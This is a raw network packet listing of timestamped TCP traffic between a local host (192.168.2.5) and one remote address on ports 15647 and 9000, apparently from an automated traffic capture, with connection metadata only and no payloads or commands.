Dec 17, 2024 08:40:25.531846046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.533287048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.550261974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.551034927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.551076889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.551099062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.559621096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.566049099 CET	9000	50059	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.566200972 CET	9000	50059	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.566237926 CET	50059	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.566268921 CET	50059	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.573227882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.573374987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.573560953 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.581595898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.582346916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.585839987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.585956097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.586023092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.603770971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.607491970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.607631922 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.607698917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.626796007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.631253958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.640146971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.642004967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.642960072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.642997980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.643080950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.643115044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.653678894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.653842926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.681453943 CET	50060	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.686050892 CET	9000	50059	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.690618038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.691576004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.694689989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.718708992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.720768929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.720769882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.725409031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.726380110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.742957115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.745924950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.761814117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.765325069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.774003029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.779936075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.796667099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.796680927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.796854019 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.801201105 CET	9000	50060	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.803853989 CET	50060	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.804009914 CET	50060	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.810460091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.823731899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.823766947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.823935986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.834758997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.838079929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.840563059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.879883051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.879971027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.880055904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.883579016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.883670092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.883727074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.894318104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.917284012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.918193102 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.920989037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.921049118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.921086073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.922293901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.923674107 CET	9000	50060	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.949348927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.949507952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.949662924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.999736071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.006805897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.006889105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.006952047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.057779074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.071774006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.075918913 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.110961914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.127906084 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.127989054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.128159046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.158540964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.158817053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.158970118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.191898108 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.192389011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.213193893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.234683037 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.247827053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.248039961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.263755083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.263876915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.283684015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.306030989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.312215090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.312326908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.319706917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.321624994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.332958937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.333026886 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.354618073 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.354716063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.375319958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.383704901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.387859106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.403486013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.405905962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.425332069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.425826073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.431071043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.441422939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.443864107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.461708069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.470943928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.474349022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.474505901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.493266106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.495151043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.495282888 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.517189026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.525686026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.525758028 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.545140028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.547851086 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.563580990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.563657045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.575989008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.579868078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.581521034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.581587076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.601547003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.613133907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.615099907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.615140915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.629126072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.629189014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.629340887 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.637104034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.639893055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.657758951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.667711973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.667927980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.671432018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.671545029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.671622038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.674758911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.674813986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.674869061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.695247889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.699724913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.699790001 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.699852943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.717835903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.717891932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.720529079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.720580101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.720614910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.720676899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.721446991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.749370098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.749383926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.749449968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.750817060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.750873089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.755810022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.755949020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.777621984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.777985096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.787861109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.789971113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.792603970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.792685032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.792706013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.796206951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.796369076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.796480894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.805434942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.807049990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.815234900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.815373898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.815512896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.819545984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.823599100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.841453075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.860205889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.861948013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.866734028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.867966890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.868099928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.868153095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.870507956 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.870590925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.875659943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.875708103 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.898056984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.898118973 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.898590088 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.898638010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.898674011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.898715019 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.912446976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.912544012 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.914510012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.914562941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.926906109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.926973104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.936461926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.936518908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.936547995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.940943956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.940987110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.961293936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.961358070 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.962533951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.962594032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.962594986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.962645054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.969635010 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.969749928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.987809896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.987911940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:26.992352962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:26.992394924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.006994009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.007034063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.016201973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.016253948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.016280890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.029963017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.030020952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.030047894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.034231901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.034326077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.039438009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.039509058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.039552927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.056493998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.058839083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.058903933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.058963060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.059111118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.077150106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.077184916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.077219963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.089543104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.089688063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.090055943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.106036901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.106055021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.106115103 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.108243942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.109945059 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.119123936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.123889923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.130984068 CET	9000	50060	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.131059885 CET	9000	50060	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.131139994 CET	50060	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.131247997 CET	50060	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.136033058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.141339064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.141407967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.141479969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.154011965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.158687115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.177747965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.195060968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.197022915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.208070040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.210639954 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.226022959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.227516890 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.231414080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.231862068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.231898069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.231981039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.239070892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.241872072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.244139910 CET	50061	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.250891924 CET	9000	50060	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.260210991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.269543886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.269964933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.287029982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.297586918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.297679901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.309784889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.309891939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.309942961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.309974909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.311439037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.312321901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.313285112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.313323021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.313342094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.313364983 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.314945936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.316750050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.319050074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.322410107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.328243017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.328305006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.347258091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.348169088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.352372885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.355947018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.364478111 CET	9000	50061	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.365940094 CET	50061	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.366029978 CET	50061	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.373994112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.380165100 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.383366108 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.389801025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.390058994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.406853914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.407886982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.420288086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.421963930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.430938959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.431051016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.431174994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.436574936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.438280106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.448494911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.449985981 CET	49998	15647	192.168.2.5	92.255.57.75
